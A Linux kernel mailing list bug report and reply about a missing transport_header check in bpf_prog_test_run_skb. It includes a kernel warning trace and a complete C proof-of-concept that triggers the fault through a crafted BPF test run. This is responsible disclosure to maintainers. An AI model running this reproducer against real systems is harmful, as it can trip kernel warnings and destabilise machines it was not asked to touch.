bpf: missing transport_header validation in bpf_prog_test_run_skb triggers WARNING

3 views
Skip to first unread message

梅开彦

unread,
Nov 3, 2025, 4:43:15 AM (9 days ago) Nov 3
to b...@vger.kernel.org, dan...@iogearbox.net, ddd...@hust.edu.cn, dz...@hust.edu.cn, hust-os-ker...@googlegroups.com, a...@kernel.org, and...@kernel.org
Our fuzzer tool discovered a missing check for `transport_header` field initialization
in the `bpf_prog_test_run_skb` function within the Linux kernel's BPF subsystem. This
vulnerability will lead to a WARNING issue.

Reported-by: Kaiyan Mei <M2024...@hust.edu.cn>
Reported-by: Yinhao Hu <ddd...@hust.edu.cn>
Reviewed-by: Dongliang Mu <dz...@hust.edu.cn>

## Root Cause

In the `bpf_prog_test_run_skb` funtion, the `skb` created for BPF program execution
may have uninitialized `transport_header` (remaining as the magic value ~0U).
When the BPF program calls `bpf_skb_check_mtu` helper, it eventually reaches
`skb_gso_validate_network_len()` which assumes `skb->transport_header` is properly
set. The access to uninitialized transport header through `skb_transport_header()`
triggers the WARNING.

## Reproduction Steps

1. **BPF Program**: Load a simple BPF program that calls `bpf_check_mtu`

2. **Context**: Create `__sk_buff` with following fields:
- `skb->gso_size = 0x1`
- `skb->ifindex = 0x0e`
This would ensure the `skb_gso_validate_network_len()` funtion could be reached
within the `bpf_skb_check_mtu` helper.

3. **Trigger**: Execute the program via `BPF_PROG_TEST_RUN`
The kernel detects the uninitialized `transport_header` field in `skb_transport_header` and
triggers WARNING.

## KASAN Report

```
WARNING: CPU: 0 PID: 9932 at ./include/linux/skbuff.h:3071 skb_transport_header include/linux/skbuff.h:3071 [inline]
WARNING: CPU: 0 PID: 9932 at ./include/linux/skbuff.h:3071 skb_gso_network_seglen net/core/gso.c:180 [inline]
WARNING: CPU: 0 PID: 9932 at ./include/linux/skbuff.h:3071 skb_gso_validate_network_len+0x251/0x2c0 net/core/gso.c:255
Modules linked in:
CPU: 0 UID: 0 PID: 9932 Comm: syz-executor384 Not tainted 6.17.0-g39e9d5f63075 #1 PREEMPT(full)
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
RIP: 0010:skb_transport_header include/linux/skbuff.h:3071 [inline]
RIP: 0010:skb_gso_network_seglen net/core/gso.c:180 [inline]
RIP: 0010:skb_gso_validate_network_len+0x251/0x2c0 net/core/gso.c:255
Code: 6b 74 44 89 ef 89 ee e8 5d 02 92 f8 41 39 ed 73 87 45 31 e4 e9 26 ff ff ff 41 bc 01 00 00 00 e9 1b ff ff ff e8 e0 07 92 f8 90 <0f> 0b 90 e9 0c fe ff ff e8 e2 88 fa f8 e9 e5 fd ff ff e8 d8 88 fa
RSP: 0018:ffa000000eecf838 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ff11000023ae63c0 RCX: ffffffff8928af9b
RDX: ff1100002e3b24c0 RSI: ffffffff8928b190 RDI: 0000000000000003
RBP: 000000000000ffff R08: 0000000000000001 R09: 0000000000000001
R10: 000000000000ffff R11: 0000000000000000 R12: 000000000000007c
R13: 00000000000005c8 R14: 00000000000005c8 R15: 0000000000000000
FS: 000055556b8633c0(0000) GS:ff110000ce0a7000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000200000002000 CR3: 0000000022610000 CR4: 0000000000753ef0
PKRU: 55555554
Call Trace:
<TASK>
____bpf_skb_check_mtu net/core/filter.c:6425 [inline]
bpf_skb_check_mtu+0x345/0x450 net/core/filter.c:6390
bpf_prog_d4c2d9fdb6e17a4c+0x31/0x41
bpf_dispatcher_nop_func include/linux/bpf.h:1357 [inline]
__bpf_prog_run include/linux/filter.h:721 [inline]
bpf_prog_run include/linux/filter.h:728 [inline]
bpf_test_run+0x43e/0xa10 net/bpf/test_run.c:434
bpf_prog_test_run_skb+0xfde/0x3180 net/bpf/test_run.c:1164
bpf_prog_test_run kernel/bpf/syscall.c:4673 [inline]
__sys_bpf+0x1af6/0x5390 kernel/bpf/syscall.c:6152
__do_sys_bpf kernel/bpf/syscall.c:6244 [inline]
__se_sys_bpf kernel/bpf/syscall.c:6242 [inline]
__x64_sys_bpf+0x78/0xc0 kernel/bpf/syscall.c:6242
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0xcb/0xfa0 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f7ad66c230d
Code: 28 c3 e8 46 1e 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffd37e1fbc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000141
RAX: ffffffffffffffda RBX: 00007ffd37e1fdc8 RCX: 00007f7ad66c230d
RDX: 0000000000000050 RSI: 00002000000037c0 RDI: 000000000000000a
RBP: 0000000000000001 R08: 0000000000000000 R09: 00007ffd37e1fdc8
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001
R13: 00007ffd37e1fdb8 R14: 00007f7ad673f530 R15: 0000000000000001
</TASK>
```

## Proof of Concept

The following C program should demonstrate the vulnerability on linux-next 6.18.0-next-20251029:

```c
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/bpf.h>
#include <linux/rtnetlink.h>
#include <linux/veth.h>

#ifndef __NR_bpf
#define __NR_bpf 321
#endif

#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })

#define BPF_EMIT_CALL(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((FUNC) - BPF_FUNC_unspec) })

#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })

#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })

static inline uint64_t ptr_to_u64(const void *ptr) {
return (uint64_t)(unsigned long)ptr;
}

static int load_prog(struct bpf_insn *insns, size_t cnt) {
union bpf_attr attr = {
.prog_type = 3,
.insns = ptr_to_u64(insns),
.insn_cnt = cnt,
.license = ptr_to_u64("GPL"),
.expected_attach_type = 0x2f,
};
int prog_fd=syscall(__NR_bpf, 5, &attr, sizeof(attr));
return prog_fd;
}

int main(void)
{
const char* reason;
struct bpf_insn prog[] = {
BPF_MOV64_IMM(BPF_REG_2, 0x0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, 0xfffffff8),
BPF_MOV64_IMM(BPF_REG_4, 0x0),
BPF_MOV64_IMM(BPF_REG_5, 0x1),
BPF_EMIT_CALL(BPF_FUNC_check_mtu),
BPF_MOV64_IMM(BPF_REG_0, 0x2),
BPF_MOV64_IMM(BPF_REG_0, 0x1),
BPF_EXIT_INSN()
};

int fd=load_prog(prog, sizeof(prog) / sizeof(prog[0]));

uint8_t indata[0x80d];
uint8_t inctx[192]={};
struct __sk_buff *skb = (struct __sk_buff *)inctx;
skb->gso_size = 0x1;
skb->ifindex = 0x0e;


union bpf_attr attr = {
.test = {
.prog_fd = fd,
.data_size_in = 0x80d,
.data_in = ptr_to_u64(indata),
.ctx_size_in = 192,
.ctx_in = ptr_to_u64(inctx),
}
};

int result = syscall(__NR_bpf, 10, &attr, sizeof(attr));
return result;
}
```

## Kernel Configuration Requirements for Reproduction

The vulnerability can be triggered with the kernel config in the attachment.

config-6.18.0-rc3

Martin KaFai Lau

unread,
Nov 3, 2025, 1:50:21 PM (9 days ago) Nov 3
to 梅开彦, dan...@iogearbox.net, b...@vger.kernel.org, ddd...@hust.edu.cn, dz...@hust.edu.cn, hust-os-ker...@googlegroups.com, a...@kernel.org, and...@kernel.org
I think it needs a skb_reset_transport_header in bpf_prog_test_run_skb().

Reply all
Reply to author
Forward
0 new messages